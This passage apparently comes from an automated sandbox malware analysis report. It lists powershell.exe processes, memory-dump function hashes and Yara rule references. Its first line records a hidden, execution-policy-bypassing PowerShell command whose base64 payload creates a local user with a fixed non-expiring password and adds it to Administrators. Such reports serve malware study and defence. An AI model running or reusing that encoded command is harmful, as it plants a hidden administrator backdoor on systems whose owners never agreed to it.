Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:01:42
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF848F133B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2103589427.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 191617ceee889ec1b776a361fbb2d1250ce1ead809f4672e64413ffe75dfec08
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 7201677111CB0C4FDB44EF0CE451AA5B7E0FB95364F10056EE58AC3695DB36E882CB45

Analysis Process: powershell.exePID: 6204, Parent PID: 5264COMMON

Executed Functions

Function 00007FF848F0F21E Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6821c68cc87fce36387f005d271d861183a9fea8d03b56425fa2e334e41aa70
Instruction ID: 6469881d7687e5723d99a5f882df157b8b520457d71d8c6fbae21deae263580c
Opcode Fuzzy Hash: b6821c68cc87fce36387f005d271d861183a9fea8d03b56425fa2e334e41aa70
Instruction Fuzzy Hash: 70D18030A18A4D8FEBA8EF28C8557E977D1FB58350F10826AEC4DC72D5DF3899458B81

Function 00007FF848F0FFCE Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25d2857a7411a3d9bf03383ea7cc500993ef3abc7572ddca24872a5c72b9e20b
Instruction ID: 704795517c59708fbe79bdbb8065c4dfaecb057f7e2a5b0e4b4095fd9f0f3d4f
Opcode Fuzzy Hash: 25d2857a7411a3d9bf03383ea7cc500993ef3abc7572ddca24872a5c72b9e20b
Instruction Fuzzy Hash: 9ED16530918A4D8FEBA8EF28C8557F977D1FB94350F14822EE84DC7295CF7899448B85

Function 00007FF848F13DB0 Relevance: 2.6, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

p7:4, xrefs: 00007FF848F158C6
p7:4, xrefs: 00007FF848F15838

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID: p7:4$p7:4
API String ID: 0-1880998457
Opcode ID: 05b838ac774f928ffe84febd3abfcd58dc8d248b0cc1474bb30f61e202b01766
Instruction ID: 18bdf142ec37d8db44fab0de1a76c59cc2f274214a3bd08818711471bfc8996b
Opcode Fuzzy Hash: 05b838ac774f928ffe84febd3abfcd58dc8d248b0cc1474bb30f61e202b01766
Instruction Fuzzy Hash: B641487090D6898FEB95FB288406ABA7BE1EF5A354F1800BDD449C71D3CA25FC45C785

Function 00007FF848F0B305 Relevance: .5, Instructions: 462COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92770b2860eabaf6e55b13b31677280ba50d83aa09a06b47840660e4dd053ea2
Instruction ID: 34c8886f24fda738088852cdd7dcf4198e137523a98465e20182849c9a7b799f
Opcode Fuzzy Hash: 92770b2860eabaf6e55b13b31677280ba50d83aa09a06b47840660e4dd053ea2
Instruction Fuzzy Hash: 3F31F53190DB888FDB19EB6898556F97FF0EF56320F1841BFC089C7193DA28680ACB55

Function 00007FF84967037F Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2548118020.00007FF849670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f51dec9c7c9f82396b0031dd8f0d52d6cca4316cf3816ef4a50fcc604a6d9915
Instruction ID: 6dbda3b9f81f32ce14889e58907f0cb3fc2ca0f6196c0ca9e5d17396f9833174
Opcode Fuzzy Hash: f51dec9c7c9f82396b0031dd8f0d52d6cca4316cf3816ef4a50fcc604a6d9915
Instruction Fuzzy Hash: DBB12561D0EAC68FE7AAAF7818252B57BE0EF56794F0800FAD04DD71D3ED189C458362

Function 00007FF848F0FBDE Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c0e229c9e7b6bc6d9c4e694835600001c2057722d159d1363c87500ed9f9eab
Instruction ID: 2adbf5496367f2ad766c1f01877b0360b92946c81d3a71b05dbfc1266d3348a4
Opcode Fuzzy Hash: 5c0e229c9e7b6bc6d9c4e694835600001c2057722d159d1363c87500ed9f9eab
Instruction Fuzzy Hash: 8E916030A18A4D8FEBA8EF28C8557E977D1FB59340F14822EE84DC72D1DF7499448B86

Function 00007FF848FD27E8 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528370137.00007FF848FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ba42ec3e58b7138977661a487471206a7bf558af55a8599510949173546a691
Instruction ID: 5841ad2bf1560a2035e2e45b2e688bdcb6ee10b3b22bc688b0a70c9b480b6cd0
Opcode Fuzzy Hash: 1ba42ec3e58b7138977661a487471206a7bf558af55a8599510949173546a691
Instruction Fuzzy Hash: 1131C532F0DA594FFBA5E65C64116B9B2D2EF54650F5841BBC60EC31C6DE28EC1087C5

Function 00007FF848F0B638 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ce0a36d01af680513dc5d1d7254a24e0fe4b35b37abbcabd2107bffed6e7aed
Instruction ID: 2749196391cf233e1d87592f31ad76cdccec1c9eafc5452cd30ec3ec9089e95d
Opcode Fuzzy Hash: 2ce0a36d01af680513dc5d1d7254a24e0fe4b35b37abbcabd2107bffed6e7aed
Instruction Fuzzy Hash: 0E31F53090CA4C8FEB58EF98D84A7F97BE0EB56320F04016ED049C3292DB74A856CB51

Function 00007FF848F12FF8 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9387a51253474563dd07275d35c2bbe899f76b5f1e1c382627f5f375dfe10a4
Instruction ID: da62423f4352d7801abe71f40657eabc638f8a235f61ecc493c962955e211e5a
Opcode Fuzzy Hash: b9387a51253474563dd07275d35c2bbe899f76b5f1e1c382627f5f375dfe10a4
Instruction Fuzzy Hash: BD210A3190C74C4FEB58DBAC984A7E9BBE0EB96321F04426FD048C3152D675A856CB91

Function 00007FF848F0F664 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c897f2e2113f57cafbc9ae9f3635f3c9cb75dcb6e36b283f821e6ec2ec68b549
Instruction ID: d0ae082eac1b87bbadf5a31eaa303d3b43ae8792191453828b636dd7def2cdd6
Opcode Fuzzy Hash: c897f2e2113f57cafbc9ae9f3635f3c9cb75dcb6e36b283f821e6ec2ec68b549
Instruction Fuzzy Hash: 0F310E3091D64E9EFBB8AF58CC1ABF93290FF42359F405139D80D860D2EB386985CB15

Function 00007FF849670620 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2548118020.00007FF849670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 014ad45fdc327f414a551ee3f83e3045a1c2b9db18f4d8806090fb3dad482100
Instruction ID: aef38df2440e1d2404167c3066f4aa4e2a103b15791acd58668fd6026d98c786
Opcode Fuzzy Hash: 014ad45fdc327f414a551ee3f83e3045a1c2b9db18f4d8806090fb3dad482100
Instruction Fuzzy Hash: 67117292C0EBD24FE3679B785D692646FA09F63654F0E00EBD084DB1D3E80D5C498362

Function 00007FF848FD2818 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528370137.00007FF848FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ef5d9502e75f1fe4fbd536f7125e8016e869259ae2b466719a70737609a1f4
Instruction ID: 6f866398ee06651fcb56eaf04d5884d062822537f2dca188999ebfaf7407e932
Opcode Fuzzy Hash: 62ef5d9502e75f1fe4fbd536f7125e8016e869259ae2b466719a70737609a1f4
Instruction Fuzzy Hash: A301D632F1E91A1FF6A9B35C14152B991C2EF94691F68417BC60FC31C6DE1CAC0506C5

Function 00007FF848F037B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 882b1ba6624a15611eed71ab80d81b7cdd956b2c4271c79a174e6c7ce5590d48
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: B401A77011CB0C4FD744EF0CE051AA6B3E0FB85364F10052EE58AC3691D732E882CB45

Function 00007FF848F12E38 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f48ec776e9bc69c5fa3ad9a66ec4599b2b9efd8f89671f543d6e271454e07bf1
Instruction ID: 51777cf245eac4b14811b67af7f01b03b6da037aab13a6b3aa5cde4bd2a091e6
Opcode Fuzzy Hash: f48ec776e9bc69c5fa3ad9a66ec4599b2b9efd8f89671f543d6e271454e07bf1
Instruction Fuzzy Hash: E1F0F03580C6898FDB0AEF6888295E57FA0EF26350F050296E458C71A2DB749858CB92

Non-executed Functions

Function 00007FF848F0787E Relevance: 22.9, Strings: 18, Instructions: 416COMMON

Download Yara Rule

Strings

X@&I, xrefs: 00007FF848F07AD1
x?&I, xrefs: 00007FF848F07A61
81&I, xrefs: 00007FF848F07B59
X<&I, xrefs: 00007FF848F078D1
8<&I, xrefs: 00007FF848F078C1
x<&I, xrefs: 00007FF848F078E1
8@&I, xrefs: 00007FF848F07AC1
x1&I, xrefs: 00007FF848F07B79
8>&I, xrefs: 00007FF848F079C1
X1&I, xrefs: 00007FF848F07B69
X?&I, xrefs: 00007FF848F07A51
x>&I, xrefs: 00007FF848F079E1
8=&I, xrefs: 00007FF848F07941
X=&I, xrefs: 00007FF848F07951
X>&I, xrefs: 00007FF848F079D1
x=&I, xrefs: 00007FF848F07961
x@&I, xrefs: 00007FF848F07AE1
8?&I, xrefs: 00007FF848F07A41

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID: 81&I$8<&I$8=&I$8>&I$8?&I$8@&I$X1&I$X<&I$X=&I$X>&I$X?&I$X@&I$x1&I$x<&I$x=&I$x>&I$x?&I$x@&I
API String ID: 0-3776127421
Opcode ID: 3babaf9b2d99665b737a6c050f68087f1e0b47fb0e6cd2e077c4699b36a20012
Instruction ID: 70721e153030c79c77a36a8d1a5fb34b97dc64b1399fc6c3af801aee83873c6b
Opcode Fuzzy Hash: 3babaf9b2d99665b737a6c050f68087f1e0b47fb0e6cd2e077c4699b36a20012
Instruction Fuzzy Hash: 6EB1D963F0ECC34FE159166D381123A1AA4FBE2A60F1901FBC1488B5EFA6259D4F42D9

Function 00007FF848F08180 Relevance: 17.8, Strings: 14, Instructions: 275COMMON

Download Yara Rule

Strings

80&I, xrefs: 00007FF848F082F1
X!&I, xrefs: 00007FF848F08399
8/&I, xrefs: 00007FF848F08271
x0&I, xrefs: 00007FF848F08311
X0&I, xrefs: 00007FF848F08301
8!&I, xrefs: 00007FF848F08389
X/&I, xrefs: 00007FF848F08281
x-&I, xrefs: 00007FF848F08191
8.&I, xrefs: 00007FF848F081F1
X.&I, xrefs: 00007FF848F08201
x/&I, xrefs: 00007FF848F08291
x.&I, xrefs: 00007FF848F08211
x!&I, xrefs: 00007FF848F083A9
X-&I, xrefs: 00007FF848F08181

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID: 8!&I$8.&I$8/&I$80&I$X!&I$X-&I$X.&I$X/&I$X0&I$x!&I$x-&I$x.&I$x/&I$x0&I
API String ID: 0-1481035885
Opcode ID: ea358585a08d42ae887604ae78451856584987b3643c881f9701b340e4cd1ba8
Instruction ID: 31451b0703607c4b4922f623fd1cde492efddb1fcc0cb041950c0c9883b6aad8
Opcode Fuzzy Hash: ea358585a08d42ae887604ae78451856584987b3643c881f9701b340e4cd1ba8
Instruction Fuzzy Hash: 1481D522E1EDC24FF218562C3C102792F94FBE2BD1B5901FBD148CB5EF69249D8E6294

Function 00007FF848F08578 Relevance: 15.5, Strings: 12, Instructions: 463COMMON

Download Yara Rule

Strings

x'&I, xrefs: 00007FF848F086A9
8(&I, xrefs: 00007FF848F08709
X'&I, xrefs: 00007FF848F08699
x(&I, xrefs: 00007FF848F08729
8'&I, xrefs: 00007FF848F08689
X&&I, xrefs: 00007FF848F08619
x%&I, xrefs: 00007FF848F085A9
X%&I, xrefs: 00007FF848F08599
X(&I, xrefs: 00007FF848F08719
8%&I, xrefs: 00007FF848F08589
8&&I, xrefs: 00007FF848F08609
x&&I, xrefs: 00007FF848F08629

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID: 8%&I$8&&I$8'&I$8(&I$X%&I$X&&I$X'&I$X(&I$x%&I$x&&I$x'&I$x(&I
API String ID: 0-3824733034
Opcode ID: cd4e415418b793291b342d81bcde72c3b56a62f12c0b407290590c7ce21f9550
Instruction ID: 3caadd560cd262bc8133a1a52f9169aebe62040c0284553ef6fd84f9792912a1
Opcode Fuzzy Hash: cd4e415418b793291b342d81bcde72c3b56a62f12c0b407290590c7ce21f9550
Instruction Fuzzy Hash: E7E1D962D1E9C28FF25997782C182346F91FF93A90B9900FBC1888B1DFF5149D8D9396

Function 00007FF848F08DF8 Relevance: 6.7, Strings: 5, Instructions: 420COMMON

Download Yara Rule

Strings

x&I, xrefs: 00007FF848F09071
X&I, xrefs: 00007FF848F09061
8&I, xrefs: 00007FF848F08FD1
X&I, xrefs: 00007FF848F08FE1
8&I, xrefs: 00007FF848F09051

Memory Dump Source

Source File: 00000005.00000002.2527160651.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f00000_powershell.jbxd

Similarity

API ID:
String ID: 8&I$8&I$X&I$X&I$x&I
API String ID: 0-3578767954
Opcode ID: b2809174d99da2d96bee67939ee161f5c58f3e1270310ad32c2231dad9983887
Instruction ID: 9e29c5c5af09c1de36130ce90933600df98e0b169de05dc7452d4955c7311fd5
Opcode Fuzzy Hash: b2809174d99da2d96bee67939ee161f5c58f3e1270310ad32c2231dad9983887
Instruction Fuzzy Hash: B2D12962E0EAC28FF35A97782C18134AF92BF53A91B4800FFC1884B5DBF9549D49D346

Analysis Process: powershell.exePID: 6048, Parent PID: 6204COMMON

Executed Functions

Function 00007FF848E0ED40 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2388666167.00007FF848E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff848e0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a99f8af5775fde8759723369f0608bfcc897d45b37252ee74070ef1120b3299
Instruction ID: 0c3066e5b9d19aae8088c6d63166e063c1176d7f6503c77ed617e4db053277c0
Opcode Fuzzy Hash: 7a99f8af5775fde8759723369f0608bfcc897d45b37252ee74070ef1120b3299
Instruction Fuzzy Hash: EB41E27180DBC44FE7569B389841A523FF0FF57220F1906EFD088CB1A3D629A846C7A2

Function 00007FF848F23C85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2389954883.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4543f1bd9d4f619ca13f527bfc1b311bc3074e5bfeea2c3053e167a0a3b036c
Instruction ID: 325a725b58c667f735453397ac38f5df638266c5a8dd9e028c5a49ff8f56a2f6
Opcode Fuzzy Hash: e4543f1bd9d4f619ca13f527bfc1b311bc3074e5bfeea2c3053e167a0a3b036c
Instruction Fuzzy Hash: DD01847010CB0C8FD744EF0CE051AA6B3E0FB85364F10052EE58AC36A5D722E881CB46

Analysis Process: powershell.exePID: 3372, Parent PID: 6564COMMON

Executed Functions

Function 00007FF848F1DABC Relevance: 15.2, Strings: 12, Instructions: 194COMMON

Download Yara Rule

Strings

H>#I, xrefs: 00007FF848F1DBC9
h?#I, xrefs: 00007FF848F1DC09
<#I, xrefs: 00007FF848F1DB79
p=#I, xrefs: 00007FF848F1DB99
hK#I, xrefs: 00007FF848F1DAC1
?#I, xrefs: 00007FF848F1DBF9
(=#I, xrefs: 00007FF848F1DB89
P<#I, xrefs: 00007FF848F1DB59
kN_I, xrefs: 00007FF848F1DC04
3#I, xrefs: 00007FF848F1DD41
@@#I, xrefs: 00007FF848F1DC39
h3#I, xrefs: 00007FF848F1DD51

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: 3#I$ ?#I$(=#I$@@#I$H>#I$P<#I$h3#I$h?#I$hK#I$kN_I$p=#I$<#I
API String ID: 0-1483601988
Opcode ID: 4a84efc8edba0f101ff8af109c62151a3db49f088f1cf077244659dc7a2980fc
Instruction ID: b10f93f7c759729bcca1ba47c2f8b7675c3b8145a88a1dd046cf2b0cf827e62d
Opcode Fuzzy Hash: 4a84efc8edba0f101ff8af109c62151a3db49f088f1cf077244659dc7a2980fc
Instruction Fuzzy Hash: 6B51A5A2E0EEC24FE22AA6783C151357EB4FF52B90F8941FFC1448B0DF96689D054389

Function 00007FF8494521ED Relevance: .8, Instructions: 837COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3414448616.00007FF849450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff849450000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa6d4605bc60b31a3adb038f83e1661bcd85e232466bc1dd42827f6737cc91cb
Instruction ID: 5ee5773c1c57934c090116866c4715aaaa46c5227654027ee1d2252824eb5757
Opcode Fuzzy Hash: fa6d4605bc60b31a3adb038f83e1661bcd85e232466bc1dd42827f6737cc91cb
Instruction Fuzzy Hash: 7E42EF31D0DA898FE7A9EF68C854664BBE1FF65364F5800BEC10DC7293DA28AC46C751

Function 00007FF849451E51 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3414448616.00007FF849450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff849450000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca3f8ff796cf4079f71241b231898b8821a2b980e7554e287c22e75abfaa008
Instruction ID: aeda8f910e6684d7bd0d8d85ba3b28697888bc517afe5e48100a0064bdfa86e5
Opcode Fuzzy Hash: 9ca3f8ff796cf4079f71241b231898b8821a2b980e7554e287c22e75abfaa008
Instruction Fuzzy Hash: 11912A3290EAC94FE766AB688814AB5BBE1EF5A364F0801FBD14DC7193DA18EC05C351

Function 00007FF848F19713 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4595c80eb9375e510cb7fefcbae10a536be7bd1e6a36f5392bd427ef793e5bbd
Instruction ID: c448d2b118d0c0eed843210b2760a7b6051c2f4f53d8c0d97631c673b12f77cc
Opcode Fuzzy Hash: 4595c80eb9375e510cb7fefcbae10a536be7bd1e6a36f5392bd427ef793e5bbd
Instruction Fuzzy Hash: 2D8140B0D18A598FEB99EB28C8997A9B7F1FF68340F4041BAD00DD7291DF346D818B05

Function 00007FF848F14F4D Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e58bd399f7058ec4558e6dda47e4da6da43fa2388c640caea8730d2a3a4cefc
Instruction ID: 115a899931f79183c180644bbd6a3b7b50d6d100294fcda6256c696f5a78ff02
Opcode Fuzzy Hash: 4e58bd399f7058ec4558e6dda47e4da6da43fa2388c640caea8730d2a3a4cefc
Instruction Fuzzy Hash: E9418822D1F6A25FE751B7BC74A11E67FA0EF522ADF0842B7D08C8D0D3DD1C584A4299

Function 00007FF848F14ED0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3361661827.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c42b48a560cb3f4e8706aca7cef37d1f6c0292eaa088103d18067bee9c29fdfd
Instruction ID: 6248688e5b8ce5489f90e788119adb2a82ff72f3f8f803540413bd2892a9c553
Opcode Fuzzy Hash: c42b48a560cb3f4e8706aca7cef37d1f6c0292eaa088103d18067bee9c29fdfd
Instruction Fuzzy Hash: 4B41B571A0C95A8FEB94EF188445AB97BE1FF69394F540079D409C3292DB29EC8287C5

Function 00007FF848DFF360 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3356982261.00007FF848DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848dfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d5fde8ecc2754d176f755f343aed00add59c48f38095dda88fd8dfd818c5910
Instruction ID: 24d4ad5f2d5d56a8d9e0d0767b43e977f686b443258a95af0064c66996f76b10
Opcode Fuzzy Hash: 5d5fde8ecc2754d176f755f343aed00add59c48f38095dda88fd8dfd818c5910
Instruction Fuzzy Hash: 9E412B7140EBC48FE75A9B289845A523FF0EF57360F1501DFD488CB1A7DB25A84AC792

Function 00007FF8494520F8 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3414448616.00007FF849450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff849450000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4455359427f5b6eb888884ab387f9ffbb62fdc42f3e26ad14f62969a42b44ed
Instruction ID: b21307e3ca7737eeb85ae99d5b2b504e877ea59a0f2e4980c3107ee9350aebc4
Opcode Fuzzy Hash: f4455359427f5b6eb888884ab387f9ffbb62fdc42f3e26ad14f62969a42b44ed
Instruction Fuzzy Hash: 2C314622E1DBD50FEBAAAB7C6850072AFE1EF96260B0D01F7C248C75D7D8189C46C351

